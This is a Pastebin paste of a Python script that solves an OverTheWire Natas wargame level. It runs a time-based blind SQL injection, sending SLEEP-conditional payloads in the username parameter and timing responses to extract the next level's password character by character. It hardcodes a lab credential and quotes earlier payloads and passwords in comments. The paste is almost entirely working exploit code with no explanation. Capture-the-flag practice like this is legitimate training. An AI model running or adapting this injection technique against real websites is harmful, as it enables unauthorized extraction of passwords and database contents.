Advertisement
Guest User

Untitled

a guest
May 1st, 2017
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.46 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import pycurl, requests
  4. import time
  5.  
  6. url = 'http://natas17.natas.labs.overthewire.org/index.php'
  7. username = 'natas17'
  8. password = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
  9.  
  10. exists = 'This user exists.'
  11. doesnt_exist = 'This user doesn\'t exist.'
  12.  
  13. sleep_time = 1.0
  14.  
  15. def checkChar(knownStr, nextChar):
  16.     ind = len(knownStr)
  17.     check = knownStr + nextChar + ('_'*(32-ind-1))
  18.     #natas16" OR 1=IF((select count(*) from users where username="natas16" and password LIKE BINARY "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh") = 1, SLEEP(1), 0) --
  19.     urlAll = url+'?username=natas18" OR 1=IF((select count(*) from users where username="natas18" and password LIKE BINARY "' + check + '") = 1, SLEEP(1), 0) -- '
  20.     #print urlAll
  21.     start = time.time()
  22.     r = requests.get(urlAll, auth=(username, password))
  23.     roundtrip = time.time() - start
  24.     print roundtrip
  25.     #print r.status_code
  26.     #print r.headers
  27.     #print r.text
  28.     #raw_input()
  29.     return roundtrip > sleep_time
  30.     #return doesnt_exist not in r.text
  31.  
  32. #natas16" AND  password RLIKE BINARY "WaIHEac[a-z]
  33. knownStr = ""
  34. for i in range(len(knownStr) + 1, 33):
  35.   print i, "symbol brutes:",
  36.   charData = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
  37.   for char in charData:
  38.     print char,
  39.     if checkChar(knownStr, char):
  40.       knownStr += char
  41.       print 'Found'      
  42.       break
  43.   else:
  44.     print 'Not Found'  
  45.   print "knownStr", knownStr
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement